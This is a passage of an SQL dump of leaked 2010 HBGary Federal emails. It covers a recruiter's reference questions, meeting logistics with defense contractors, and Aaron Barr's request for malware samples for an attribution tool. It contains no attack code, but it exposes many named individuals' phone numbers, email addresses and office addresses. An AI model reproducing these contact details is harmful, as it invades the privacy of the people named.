{behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron! \r\n\r\n\r\nI hope you are doing good. Mark Leary sent me your contact information, he\r\nwrote your name down as a reference, I would like to ask you a few questions\r\nabout him. I will call you as well but I could email you the reference\r\nquestions, just let me know! I am here at my desk. Thanks! Celina\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350\r\n  Fair Lakes Court\r\n Fairfax,&nbsp;VA&nbsp;22033\r\n Office:\r\n703-803-1873\r\nMobile: 571-263-2646\r\ncelina_vargas@sra.com&nbsp; \r\nwww.sra.com\r\n\r\n\r\n&nbsp;\r\n\r\nTo&nbsp;see our career\r\nvideos and learn more, click the camera link below:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nP Please consider the\r\nenvironment before printing this e-mail \r\n\r\nThis electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9331,'aaron_hbgary_com/9331.html'),(8875,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006787.M931354P14101Q3730.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Re: EXTERNAL:Lost the ball','Running about 5 min behind.AaronSent from my iPhoneOn Jul 19, 2010, at 3:10 PM, \"Godwin, Gib (IS)\" &lt;James.Godwin@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nK\r\n\r\nGib Godwin\r\njames.godwin@ngc.com\r\n(m)703.201.2543\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Godwin, Gib (IS)\r\nSent: Mon Jul 19 14:09:02 2010\r\nSubject: Re: EXTERNAL:Lost the ball\r\n\r\nOK Gib I will see you at your office tomorrow morning.\r\n\r\nAaron\r\n\r\nOn Jul 19, 2010, at 7:41 AM, Godwin, Gib (IS) wrote:\r\n\r\n&gt; How about we gather at the office here and we can head out to a local spot from there. Address below. There is a Panera or a Starbucks close by.\r\n&gt; Gib\r\n&gt;\r\n&gt; JB Godwin III\r\n&gt; Northrop Grumman, Information Systems\r\n&gt; Defense Systems Division\r\n&gt; Vice President, Cybersecurity and Systems Integration\r\n&gt; 2340 Dulles Corner Blvd\r\n&gt; Herndon, VA 20171\r\n&gt;&nbsp;\r\n&gt; (o) 703.561.4610\r\n&gt; (m)703.201.2543\r\n&gt; james.godwin@ngc.com\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Friday, July 16, 2010 9:23 PM\r\n&gt; To: Godwin, Gib (IS)\r\n&gt; Cc: Shows, Bob (IS)\r\n&gt; Subject: Re: EXTERNAL:Lost the ball\r\n&gt;\r\n&gt; How about 830?&nbsp; Where would you like to meet?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; Sent from my iPhone\r\n&gt;\r\n&gt; On Jul 16, 2010, at 8:07 PM, \"Godwin, Gib (IS)\" &lt;James.Godwin@ngc.com&gt; wrote:\r\n&gt;\r\n&gt;&gt; Tues Morn before 11 works.\r\n&gt;&gt; Gib\r\n&gt;&gt;\r\n&gt;&gt; JB Godwin III\r\n&gt;&gt; Northrop Grumman, Information Systems\r\n&gt;&gt; Defense Systems Division\r\n&gt;&gt; Vice President, Cybersecurity and Systems Integration\r\n&gt;&gt; 2340 Dulles Corner Blvd\r\n&gt;&gt; Herndon, VA 20171\r\n&gt;&gt;\r\n&gt;&gt; (o) 703.561.4610\r\n&gt;&gt; (m)703.201.2543\r\n&gt;&gt; james.godwin@ngc.com\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Shows, Bob (IS)\r\n&gt;&gt; Sent: Friday, July 16, 2010 5:53 PM\r\n&gt;&gt; To: Aaron Barr; Godwin, Gib (IS)\r\n&gt;&gt; Subject: RE: EXTERNAL:Lost the ball\r\n&gt;&gt;\r\n&gt;&gt; Gib,\r\n&gt;&gt;\r\n&gt;&gt; We were waiting for you to get back in town to set a time to discuss the capabilities of Aaron\'s company.&nbsp; I\'m on vacation next week--the following week, I\'ll be in Herndon, but could make time for a late day meeting/concall on Mon-Wed.&nbsp;\r\n&gt;&gt;\r\n&gt;&gt; Your availability?\r\n&gt;&gt;\r\n&gt;&gt; Robert \'Bob\' Shows\r\n&gt;&gt; USAF Account Team NGIS/DSD\r\n&gt;&gt; Northrop Grumman Corporation\r\n&gt;&gt; 310.210.2549\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; -----Original Message-----\r\n&gt;&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt;&gt; Sent: Friday, July 16, 2010 4:31 PM\r\n&gt;&gt; To: Shows, Bob (IS)\r\n&gt;&gt; Subject: EXTERNAL:Lost the ball\r\n&gt;&gt;\r\n&gt;&gt; When are we meeting?\r\n&gt;&gt;\r\n&gt;&gt; Aaron\r\n&gt;&gt;\r\n&gt;&gt; Sent from my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',8242,'aaron_hbgary_com/8242.html'),(8876,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006788.M261847P14101Q3731.eml','\"Vargas, Celina\" <Celina_Vargas@sra.com>','Re: Mark Leary Reference','Sure thing.AaronSent from my iPhoneOn Jul 20, 2010, at 8:51 AM, \"Vargas, Celina\" &lt;Celina_Vargas@sra.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron! \r\n\r\n\r\nI hope you are doing good. Mark Leary sent me your contact information, he\r\nwrote your name down as a reference, I would like to ask you a few questions\r\nabout him. I will call you as well but I could email you the reference\r\nquestions, just let me know! I am here at my desk. Thanks! Celina\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350\r\n  Fair Lakes Court\r\n Fairfax,&nbsp;VA&nbsp;22033\r\n Office:\r\n703-803-1873\r\nMobile: 571-263-2646\r\ncelina_vargas@sra.com&nbsp; \r\nwww.sra.com\r\n\r\n\r\n&nbsp;\r\n\r\nTo&nbsp;see our career\r\nvideos and learn more, click the camera link below:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nP Please consider the\r\nenvironment before printing this e-mail \r\n\r\nThis electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2835,'aaron_hbgary_com/2835.html'),(8877,'2010-07-20','\"Vargas, Celina\" <Celina_Vargas@sra.com>','/aaron@hbgary.com/new/1297006788.M541202P14101Q3732.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Mark Leary Reference','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron!\r\n\r\n&nbsp;\r\n\r\nThanks so much for getting back to me.\r\nHere they are:\r\n\r\n&nbsp;\r\n\r\n1. What company did you work with Mark at\r\nand what was your relationship (Director, etc). What was your title and how\r\nlong did you work with him? \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPerformance \r\n\r\n&nbsp;\r\n\r\n&nbsp;What are his/her specific responsibilities?&nbsp;&nbsp;\r\n\r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;What are his/her strong points?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;What characteristics do you admire most about\r\nhim/her?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;Are there any areas where he/she might have\r\nneeded improvement? What steps were taken by either the candidate or the\r\nsupervisor to improve these areas?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;Did he/she supervise other people? How many?\r\nHow effectively? Can he/she create a team?&nbsp;&nbsp; \r\n\r\n&nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;How well does he/she relate to co-workers? In\r\nyour opinion which employees does he/she work best with:\r\nsuperiors/peers/subordinates? Is he/she a team player?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;How would you rate his/her job performance on\r\na scale from 1-10 (10 being the highest) compared to other people you observed\r\nin similar capacity? What would he/she have had to do to be a perfect\r\n10?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;Were you responsible for this individual\'s\r\nreview? What were the results of that review?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;SRA\'s ethic of Honesty and Service are\r\nimportant to our corporate culture. Do you feel he/she will fit into our\r\nenvironment as a VP (Chief Information Security\r\nOfficer)?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;Is there anything about this individual you\r\nare aware of, that would prevent him/her from performing his/her job\r\nrequirements as a VP?&nbsp;&nbsp; \r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;If you could rehire him or her today, would\r\nyou? Is he/she eligible for rehire? If not, why?&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nTHANK YOU! \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350\r\n  Fair Lakes Court\r\n Fairfax,&nbsp;VA&nbsp;22033\r\n Office:\r\n703-803-1873\r\nMobile: 571-263-2646\r\ncelina_vargas@sra.com&nbsp; \r\nwww.sra.com\r\n\r\n\r\n&nbsp;\r\n\r\nTo&nbsp;see our career\r\nvideos and learn more, click the camera link below:\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nP Please consider the\r\nenvironment before printing this e-mail \r\n\r\nThis electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 9:06\r\nAM\r\nTo: Vargas, Celina\r\nSubject: Re: Mark Leary Reference\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure thing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 20, 2010, at 8:51 AM, &quot;Vargas, Celina&quot; &lt;Celina_Vargas@sra.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron! \r\n\r\n\r\nI hope you are doing good. Mark Leary sent me your contact information, he wrote\r\nyour name down as a reference, I would like to ask you a few questions about\r\nhim. I will call you as well but I could email you the reference questions,\r\njust let me know! I am here at my desk. Thanks! Celina\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nCelina Vargas\r\nSr. Recruiter\r\nLeverage &amp; Operations Sectors\r\nSRA International, Inc.\r\n4350 Fair Lakes Court\r\nFairfax,&nbsp;VA&nbsp;22033\r\nOffice:\r\n703-803-1873\r\nMobile:\r\n571-263-2646\r\ncelina_vargas@sra.com&nbsp;\r\n\r\nwww.sra.com\r\n\r\n\r\n&nbsp;\r\n\r\nTo&nbsp;see our career\r\nvideos and learn more, click the camera link below:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nP Please consider the\r\nenvironment before printing this e-mail \r\n\r\n\r\n\r\nThis electronic message transmission contains\r\ninformation from SRA International, Inc. which may be confidential, privileged\r\nor proprietary. The information is intended for the use of the individual or\r\nentity named above. If you are not the intended recipient, be aware that any\r\ndisclosure, copying, distribution, or use of the contents of this information\r\nis strictly prohibited. If you have received this electronic information in\r\nerror, please notify us immediately by telephone at 866-584-2143.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12673,'aaron_hbgary_com/12673.html'),(8878,'2010-07-20','ed.gibson@us.pwc.com','/aaron@hbgary.com/new/1297006789.M19898P14101Q3733.eml','aaron@hbgary.com,aaron@hbgary.com,','Fw: Attribution - Follow up','\r\nHi Aaron - \r\n\r\nThis will follow my call a few minutes\r\nago. &nbsp;THANK YOU for sending your note to me (below). &nbsp;Shane and\r\nI are enthused about working with you as well as with your folks on the\r\ncommercial side. &nbsp;I retired from the FBI 2005 (2000-2005 assigned\r\nas an Assistant Legal Attache, US Embassy London, in charge of the Bureau\'s\r\ncyber hi-tech investigations in the UK and Ireland. &nbsp;Shane is also\r\nprior Bureau and is the technical expert who has our relationship with\r\nHBGary.\r\n\r\nThanks again for your offering your\r\nservices and technical expertise. &nbsp;I know Shane will be back to you\r\nshortly - he is on an engagement in Houston at present.\r\n\r\nEd\r\n\r\nPS: &nbsp;Could you send your address,\r\ncell, and other pertinent contact details to Shane and me? &nbsp;Thanks.\r\n______________________________________________________________________________________________________________________________________________________\r\nEdward P Gibson | Director\r\n- Forensic Technology, McLean, VA 22102 | PricewaterhouseCoopers | Telephone:\r\n+1 703 918 3550 | Mobile: +1 703 789 5281 | ed.gibson@us.pwc.com\r\n\r\n----- Forwarded by Ed\r\nGibson/US/FAS/PwC on 07/20/2010 09:11 AM -----\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\n&quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;\r\n\r\nCc:\r\n&lt;alexander.miller@l-3com.com&gt;,\r\n&lt;barbara.g.fast@boeing.com&gt;, &lt;bill.phelps@accenture.com&gt;, &lt;bmalexia@rockwellcollins.com&gt;,\r\n&lt;ccpalmer@us.ibm.com&gt;, &lt;coxld@saic.com&gt;, &lt;david_joslin@federal.dell.com&gt;,\r\n&lt;dusty.wince@knowledgecg.com&gt;, Ed Gibson/US/FAS/PwC@Americas-US,\r\n&lt;gjg@mitre.org&gt;, &lt;jkoenig@harris.com&gt;, &lt;john.osterholz@baesystems.com&gt;,\r\n&lt;jpayne@telcordia.com&gt;, &lt;jreagan@deloitte.com&gt;, &lt;jwatters@isightpartners.com&gt;,\r\n&lt;kathy.warden@ngc.com&gt;, &lt;kenneth.sannicolas@stanleyassociates.com&gt;,\r\n&lt;lance.cottrell@abraxascorp.com&gt;, &lt;michael.fraser@usis.com&gt;,\r\n&lt;nadia.short@gd-ais.com&gt;, &lt;pat.burke@sra.com&gt;, &lt;rdix@juniper.net&gt;,\r\n&lt;rodney.joffe@neustar.biz&gt;, &lt;roger_anderson@appsig.com&gt;, &lt;samuel.chun@hp.com&gt;,\r\n&lt;scottmil@microsoft.com&gt;, &lt;shawn.carroll@qwest.com&gt;, &lt;skip.foote@americansystems.com&gt;,\r\n&lt;steve_k_hawkins@raytheon.com&gt;, &lt;svisner@csc.com&gt;, &lt;tiffany_jones@symantec.com&gt;,\r\n&lt;wcooper@cisco.com&gt;, &lt;zazmi@caci.com&gt;, &quot;Jim Garrettson&quot;\r\n&lt;jimg@executivebiz.com&gt;, &lt;jd@executivebiz.com&gt;, &quot;Jennifer\r\nJordan - Harrell&quot; &lt;jennifer@executivebiz.com&gt;\r\n\r\nDate:\r\n07/16/2010 09:45 PM\r\n\r\nSubject:\r\nAttribution\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI am sending this request to a small group of individuals. &nbsp;Please\r\ndo not forward this email to third parties. &nbsp;HBGary is working hard\r\nto solve the attribution problem. &nbsp;We have developed a fingerprint\r\ntool which extracts toolmarks left behind in malware executables. &nbsp;We\r\nuse these toolmarks to cluster exploits together which were compiled on\r\nthe same computer system or development environment. &nbsp;Notice the clusters\r\nin the graphic below. &nbsp;These groupings illustrate the relationships\r\nbetween over 3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool. &nbsp;Eventually\r\nyou can imagine combining this data with open source and intelligence data.\r\n&nbsp;I can see attribution as potentially a solvable problem. &nbsp;We\r\nneed your malware samples, as many as you can provide. &nbsp;This is not\r\nsomething we are looking to profit from directly, we will be giving this\r\ntool away at Blackhat, so helping us improve the tool will help the community\r\nbeat back the threat. &nbsp;If possible please have your representative\r\nCISOs or cybersecurity personnel send malware samples in a password protected\r\nzip file. &nbsp;Provide the password via phone 719-510-8478 or fax to:\r\n&nbsp;720-836-4208 we need your samples as soon as possible. &nbsp;Samples\r\nprovided will not be shared with third parties and your participation will\r\nbe held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of\r\nour findings and you will have made a significant contribution to securing\r\nAmerica\'s networks. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal LLC.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nThe information transmitted, including any attachments, is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited, and all liability arising therefrom is disclaimed. If you received this in error, please contact the sender and delete the material from any computer. PricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n',1819,'aaron_hbgary_com/1819.html'),(8879,'2010-07-20','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006789.M238048P14101Q3734.eml','\"Aaron Barr\" <aaron@hbgary.com>','Give me a call','\r\n\r\n\r\n\r\n\r\nGive me a call\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',9848,'aaron_hbgary_com/9848.html'),(8880,'2010-07-20','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297006789.M508505P14101Q3735.eml','\"Dizon, Ray\" <rdizon@mitre.org>,\"Aaron Barr\" <aaron@hbgary.com>','RE: MITRE intro','Didn\'t see you last week......did you want to try again?\r\n\r\nRay\r\n\r\n-----Original Message-----\r\nFrom: Dizon, Ray \r\nSent: Friday, July 09, 2010 10:05 AM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: MITRE intro\r\n\r\nThursday the 15th is the better day, how about 2:00?\r\n\r\nRay\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 09, 2010 10:03 AM\r\nTo: Dizon, Ray\r\nSubject: Re: MITRE intro\r\n\r\nSounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n\r\nAaron\r\n\r\nOn Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n\r\n> David, thanks, see you soon.\r\n> \r\n> Aaron,\r\n> \r\n> Be happy to catch up with you some time to chat about social media, etc.\r\n> \r\n> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n> \r\n> Ray\r\n> \r\n> \r\n> Ray Dizon\r\n> Director, Technology Transfer Office\r\n> The MITRE Corporation\r\n> N680\r\n> 7515 Colshire Drive\r\n> McLean, VA 22102\r\n> 703-983-7132\r\n> rdizon@mitre.org\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: David Etue [mailto:david@etue.net] \r\n> Sent: Thursday, July 08, 2010 9:07 AM\r\n> To: Aaron Barr; Dizon, Ray\r\n> Subject: MITRE intro\r\n> \r\n> Ray - looking forward to meeting this afternoon.  I wanted to provide a \r\n> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary \r\n> Federal.  Aaron and I have looked to do some work together around social \r\n> media security, and during our discussions he mentioned there was some \r\n> technology in MITRE around social media that may be available for tech \r\n> transfer.  I wanted to connect the two to discuss further.\r\n> \r\n> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.  \r\n> Before joining MITRE, he was an investor in Fidelis while at the \r\n> Maryland Venture Fund.  Beyond being the right person to talk to about \r\n> this particular opportunity, Ray is a great guy to know in the DC tech \r\n> community.\r\n> \r\n> I\'ll let you two connect directly from here.\r\n> \r\n> David\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3851,'aaron_hbgary_com/3851.html'),(8881,'2010-07-20','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297006789.M743496P14101Q3736.eml','\"Aaron Barr\" <aaron@hbgary.com>','Christopher Tucker has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Christopher are now connected.\r\n\r\n \r\n   \r\n   View Christopher\'s profile to:\r\n     \r\n       Download Christopher\'s current contact information\r\n       Write a recommendation for Christopher\r\n       Find opportunities through Christopher\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/-nennfn-gbuttaa6-5o/fpf/28257045/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',1818,'aaron_hbgary_com/1818.html'),(8882,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006789.M956185P14101Q3737.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: Meeting Tuesday morning','Not sure if you saw but Larry prior resigned.  I haven&#39;t heard from bill and now I think I know why.AaronSent from my iPadOn Jul 19, 2010, at 8:01 AM, William Luti &lt;wluti@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron, this morning works for me but let me check with the other\r\nfolks and get back to you shortly. Bill\r\n\r\n \r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 7:57 AM\r\nTo: William Luti\r\nSubject: Meeting Tuesday morning\r\n\r\n\r\n\r\n \r\n\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance we could get together anytime today, tomorrow\r\nafternoon, or wednesday.  Wouldn&#39;t you know I scheduled by memory and\r\npicked the only time so far this week I actually have a scheduled meeting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16376,'aaron_hbgary_com/16376.html'),(8883,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006790.M174652P14101Q3738.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: Meeting Tuesday morning','http://www.bizjournals.com/washington/stories/2010/07/19/daily9.html?ana=from_rss&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+bizj_washington+%28Washington+Business+Journal%29\r\nAaronSent from my iPadOn Jul 19, 2010, at 8:01 AM, William Luti &lt;wluti@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron, this morning works for me but let me check with the other\r\nfolks and get back to you shortly. Bill\r\n\r\n \r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 7:57 AM\r\nTo: William Luti\r\nSubject: Meeting Tuesday morning\r\n\r\n\r\n\r\n \r\n\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance we could get together anytime today, tomorrow\r\nafternoon, or wednesday.  Wouldn&#39;t you know I scheduled by memory and\r\npicked the only time so far this week I actually have a scheduled meeting.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n-- \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16612,'aaron_hbgary_com/16612.html'),(8884,'2010-07-20','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297006790.M421432P14101Q3739.eml','\"Aaron Barr\" <aaron@hbgary.com>','Give me a few.  Need to jump on a secure phone then will call.','\r\n\r\n\r\n\r\n\r\nGive me a few.  Need to jump on a secure phone then will call.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',604,'aaron_hbgary_com/604.html'),(8885,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006790.M681021P14101Q3740.eml','\"Ted Vera\" <ted@hbgary.com>','iPhone','The phone part fucking suck!!!!\r\n\r\nSent from my iPhone\r\n',16377,'aaron_hbgary_com/16377.html'),(8886,'2010-07-20','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006790.M887609P14101Q3741.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: SBIR @ Tue Jul 20 12pm - 1pm (aaron@hbgary.com)',' more details &raquo;SBIRNew DOD SBIR requirements will be released on July 20th.  Proposals due Aug 17th.STTR Solicitation 2010.B -- will be posted on this Web Site on July 20, 2010; will begin accepting proposals on August 17, 2010; will close to proposals on September 15, 2010.SBIR Solicitation 2010.3 -- will be posted on this Web Site on July 20, 2010; will begin accepting proposals on August 17, 2010; will close to proposals on September 15, 2010.http://www.acq.osd.mil/osbp/sbir/solicitations/index.htmWhenTue Jul 20 12pm – 1pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;Mark Trynor&#x2022;Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',4109,'aaron_hbgary_com/4109.html'),(8887,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006791.M102581P14101Q3742.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Give me a few.  Need to jump on a secure phone then will call.','K I am free for a few hours.Sent from my iPhoneOn Jul 20, 2010, at 11:13 AM, \"Masterson, Brian M (XETRON)\" &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',5542,'aaron_hbgary_com/5542.html'),(8888,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006791.M303400P14101Q3743.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" 